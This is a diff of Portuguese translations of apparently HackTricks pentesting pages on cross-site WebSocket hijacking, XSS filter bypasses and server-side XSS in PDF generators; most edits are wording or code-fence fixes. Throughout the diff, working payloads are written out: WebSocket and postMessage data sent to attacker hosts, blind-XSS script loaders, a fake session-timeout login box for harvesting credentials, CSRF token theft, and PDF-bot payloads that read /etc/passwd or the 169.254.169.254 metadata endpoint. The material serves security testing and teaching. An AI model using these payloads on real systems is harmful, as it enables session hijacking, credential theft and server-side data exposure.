Então, se por **exemplo** o **servidor de websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **XSS simples** estabelecendo a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" poderá **recuperar** o histórico da **conversa**.
|
||||
```markup
|
||||
Então, se por **exemplo** o **servidor de websocket** **retorna o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **simples XSS** estabelecendo a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" poderá **recuperar** o histórico da **conversa**.
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
@ -105,11 +105,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie com um subdomínio diferente
|
||||
|
||||
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação do web socket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e como o **Websocket não verificou o Origin corretamente**, foi possível se comunicar com ele e **roubar tokens dele**.
|
||||
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação via web socket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e como o **Websocket não verificou o Origin corretamente**, foi possível se comunicar com ele e **roubar tokens dele**.
|
||||
|
||||
### Roubo de dados do usuário
|
||||
|
||||
Copie a aplicação web que você deseja imitar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo, adicione este código:
|
||||
Copie a aplicação web que você deseja imitar (os arquivos .html, por exemplo) e dentro do script onde a comunicação via websocket está ocorrendo, adicione este código:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
@ -140,7 +140,7 @@ Condições de Corrida em WebSockets também são uma realidade, [verifique esta
|
||||
|
||||
## Outras vulnerabilidades
|
||||
|
||||
Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e para o lado do cliente**, dependendo de como o servidor e o cliente lidam com as informações, **os Web Sockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket.**
|
||||
Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente lidam com as informações, **os Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
|
||||
3. Você pode contornar proteções?
|
||||
4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md).
|
||||
5. Se você não pode criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendentes - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
5. Se você não pode criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Dentro de uma **tag HTML**:
|
||||
1. Você pode sair para o contexto HTML bruto?
|
||||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||||
@ -166,7 +166,7 @@ Uma vez que você tenha **localizado quais tags são permitidas**, você precisa
|
||||
|
||||
### Força bruta de Tags/Eventos
|
||||
|
||||
Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que você tenha descoberto quais tags pode usar, você pode **forçar todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento que antes).
|
||||
Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que você tenha descoberto quais tags pode usar, você pode **forçar todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento de antes).
|
||||
|
||||
### Tags personalizadas
|
||||
|
||||
@ -176,7 +176,7 @@ Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag pe
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques bobos:
|
||||
Se algum tipo de blacklist estiver sendo usada, você pode tentar contorná-la com alguns truques simples:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -235,7 +235,7 @@ onerror=alert`1`
|
||||
```
|
||||
Os últimos usam 2 caracteres unicode que se expandem para 5: telsr\
|
||||
Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar em quais caracteres estão decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
Para verificar em quais caracteres são decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -250,7 +250,7 @@ Se você apenas acha que **é impossível criar uma tag HTML com um atributo par
|
||||
### Dentro da tag/escapando do valor do atributo
|
||||
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não conseguir escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
Se você **não puder escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,10 +267,10 @@ Se você **não conseguir escapar da tag**, você pode criar novos atributos den
|
||||
```
|
||||
### Dentro do atributo
|
||||
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou deletado), dependendo de **qual atributo** seu valor está sendo refletido **se você controla todo o valor ou apenas uma parte** você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou deletado), dependendo de **qual atributo** seu valor está sendo refletido em **se você controla todo o valor ou apenas uma parte** você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass dentro do evento usando codificação HTML/URL encode**
|
||||
**Bypass dentro do evento usando codificação HTML/codificação URL**
|
||||
|
||||
Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Voltar </a>`
|
||||
|
||||
@ -303,7 +303,7 @@ Note que **qualquer tipo de codificação HTML é válido**:
|
||||
```
|
||||
### Protocolos Especiais Dentro do atributo
|
||||
|
||||
Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário e outros não.
|
||||
Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirã interação do usuário e outros não.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
**Lugares onde você pode injetar esses protocolos**
|
||||
|
||||
**Em geral**, o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (mas não `<img`)
|
||||
```markup
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
<form action="javascript:alert(1)"><button>send</button></form>
|
||||
@ -345,9 +345,9 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Outras técnicas de ofuscação**
|
||||
**Outras truques de ofuscação**
|
||||
|
||||
_**Neste caso, a codificação HTML e a técnica de codificação Unicode da seção anterior também são válidas, pois você está dentro de um atributo.**_
|
||||
_**Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
@ -377,7 +377,7 @@ Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe`
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página seguinte para explorar esse comportamento**:
|
||||
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"` e `rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -423,7 +423,7 @@ onbeforetoggle="alert(2)" />
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:
|
||||
```markup
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**A carga útil de XSS será algo como isto: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
@ -476,11 +476,11 @@ Se seu código for inserido dentro de `<script> [...] var input = 'dados refleti
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts incorporados é realizada apenas depois.
|
||||
Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados é realizada apenas depois.
|
||||
|
||||
### Dentro do código JS
|
||||
|
||||
Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver erros, o código JS não será executado:
|
||||
Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe JS**, porque se houver erros, o código JS não será executado:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -496,15 +496,15 @@ Isso pode ser **abusado** usando:
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
|
||||
```````````````javascript
|
||||
```javascript
|
||||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||||
function loop() {
|
||||
return loop
|
||||
}
|
||||
loop``````````````
|
||||
```````````````
|
||||
loop``
|
||||
```
|
||||
### Execução de código codificado
|
||||
```markup
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Quebras de linha em JavaScript (do** [**truque de quebra de linha em JavaScript**](#javascript-new-lines) **)**
|
||||
**Novas linhas em JavaScript (do** [**truque de nova linha em JavaScript**](#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -599,7 +599,7 @@ console.log(log)
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**JavaScript sem parênteses**
|
||||
````javascript
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||||
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Chamada de função arbitrária (alert)**
|
||||
````javascript
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
setTimeout('ale'+'rt(2)');
|
||||
@ -735,7 +735,7 @@ top['al\145rt'](1)
|
||||
top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
```
|
||||
## **Vulnerabilidades DOM**
|
||||
|
||||
Há **código JS** que está usando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\
|
||||
@ -791,10 +791,10 @@ A dupla "Key","Value" será retornada assim:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Então, o atributo onfocus será inserido e o XSS ocorre.
|
||||
Então, o atributo onfocus será inserido e ocorre XSS.
|
||||
|
||||
### Combinações especiais
|
||||
```markup
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
<svg onload=alert(1)//
|
||||
@ -825,14 +825,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS com injeção de cabeçalho em uma resposta 302
|
||||
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas uma carga útil de cross-site scripting é inútil.
|
||||
|
||||
Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
|
||||
Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\
|
||||
Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
|
||||
|
||||
### Apenas Letras, Números e Pontos
|
||||
|
||||
Se você conseguir indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
Se você conseguir indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
|
||||
### Tipos de Conteúdo `<script>` Válidos para XSS
|
||||
|
||||
@ -870,8 +870,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
A resposta é:
|
||||
|
||||
- **módulo** (padrão, nada a explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) juntos em um **`.wbn`** arquivo.
|
||||
- **module** (padrão, nada a explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um arquivo **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -918,7 +918,7 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -1001,7 +1001,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
|
||||
Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1365,7 +1365,7 @@ _Tempos curtos indicam uma porta respondendo_ _Tempos mais longos indicam nenhum
|
||||
Revise a lista de portas banidas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Caixa para solicitar credenciais
|
||||
```markup
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Captura de senhas de preenchimento automático
|
||||
@ -1406,7 +1406,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
</script>
|
||||
```
|
||||
### Roubo de mensagens PostMessage
|
||||
```markup
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
window.onmessage = function(e){
|
||||
@ -1434,7 +1434,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
### Payloads de Blind XSS
|
||||
|
||||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||||
@ -1520,7 +1520,7 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje
|
||||
### XSS em PDF criado dinamicamente
|
||||
|
||||
Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **Server XSS**.
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1534,7 +1534,7 @@ pdf-injection.md
|
||||
|
||||
### XSS em Amp4Email
|
||||
|
||||
AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
|
||||
|
||||
@ -1543,7 +1543,7 @@ Exemplo [**writeup XSS em Amp4Email no Gmail**](https://adico.me/post/xss-in-gma
|
||||
### XSS fazendo upload de arquivos (svg)
|
||||
|
||||
Faça upload como uma imagem de um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
-----------------------------232181429808
|
||||
@ -1561,13 +1561,13 @@ alert(1);
|
||||
-----------------------------232181429808--
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
<script type="text/javascript">alert("XSS")</script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
|
||||
@ -5,15 +5,15 @@
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **Server XSS**.
|
||||
|
||||
Por favor, note que as tags `<script></script>` não funcionam sempre, então você precisará de um método diferente para executar JS (por exemplo, abusando de `<img` ).\
|
||||
Por favor, note que as tags `<script></script>` não funcionam sempre, então você precisará de um método diferente para executar JS (por exemplo, explorando `<img` ).\
|
||||
Além disso, note que em uma exploração regular você será **capaz de ver/baixar o pdf criado**, então você poderá ver tudo que você **escreve via JS** (usando `document.write()` por exemplo). Mas, se você **não puder ver** o PDF criado, provavelmente precisará **extrair a informação fazendo requisições web para você** (Cego).
|
||||
|
||||
### Geração de PDF popular
|
||||
|
||||
- **wkhtmltopdf** é conhecido por sua capacidade de converter HTML e CSS em documentos PDF, utilizando o mecanismo de renderização WebKit. Esta ferramenta está disponível como uma utilidade de linha de comando de código aberto, tornando-a acessível para uma ampla gama de aplicações.
|
||||
- **TCPDF** oferece uma solução robusta dentro do ecossistema PHP para geração de PDF. É capaz de lidar com imagens, gráficos e criptografia, mostrando sua versatilidade para criar documentos complexos.
|
||||
- **wkhtmltopdf** é conhecido por sua capacidade de converter HTML e CSS em documentos PDF, utilizando o motor de renderização WebKit. Esta ferramenta está disponível como um utilitário de linha de comando de código aberto, tornando-a acessível para uma ampla gama de aplicações.
|
||||
- **TCPDF** oferece uma solução robusta dentro do ecossistema PHP para geração de PDF. É capaz de lidar com imagens, gráficos e criptografia, demonstrando sua versatilidade para criar documentos complexos.
|
||||
- Para aqueles que trabalham em um ambiente Node.js, **PDFKit** apresenta uma opção viável. Ele permite a geração de documentos PDF diretamente de HTML e CSS, fornecendo uma ponte entre conteúdo web e formatos imprimíveis.
|
||||
- Desenvolvedores Java podem preferir **iText**, uma biblioteca que não apenas facilita a criação de PDF, mas também suporta recursos avançados como assinaturas digitais e preenchimento de formulários. Seu conjunto abrangente de recursos a torna adequada para gerar documentos seguros e interativos.
|
||||
- **FPDF** é outra biblioteca PHP, distinguida por sua simplicidade e facilidade de uso. É projetada para desenvolvedores que buscam uma abordagem direta para a geração de PDF, sem a necessidade de recursos extensivos.
|
||||
@ -21,7 +21,7 @@ Além disso, note que em uma exploração regular você será **capaz de ver/bai
|
||||
## Payloads
|
||||
|
||||
### Discovery
|
||||
```markup
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
@ -36,7 +36,7 @@ Além disso, note que em uma exploração regular você será **capaz de ver/bai
|
||||
### SVG
|
||||
|
||||
Qualquer um dos payloads anteriores ou seguintes pode ser usado dentro deste payload SVG. Um iframe acessando o subdomínio Burpcollab e outro acessando o endpoint de metadados são apresentados como exemplos.
|
||||
```markup
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
@ -63,7 +63,7 @@ alert(1);
|
||||
Você pode encontrar muitos **outros payloads SVG** em [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
### Divulgação de caminho
|
||||
```markup
|
||||
```html
|
||||
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||||
if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
### Carregar um script externo
|
||||
|
||||
A melhor maneira de explorar essa vulnerabilidade é abusar dela para fazer o bot carregar um script que você controla localmente. Assim, você poderá alterar a carga útil localmente e fazer o bot carregá-la com o mesmo código toda vez.
|
||||
```markup
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
@ -82,7 +82,7 @@ A melhor maneira de explorar essa vulnerabilidade é abusar dela para fazer o bo
|
||||
> Altere `file:///etc/passwd` para `http://169.254.169.254/latest/user-data` por exemplo para **tentar acessar uma página da web externa (SSRF)**.
|
||||
>
|
||||
> Se SSRF for permitido, mas você **não conseguir acessar** um domínio ou IP interessante, [verifique esta página para possíveis contornos](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
x.onload=function(){document.write(btoa(this.responseText))};
|
||||
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
@ -100,7 +100,7 @@ xhzeem.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<iframe src=file:///etc/passwd></iframe>
|
||||
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||||
<link rel=attachment href="file:///root/secret.txt">
|
||||
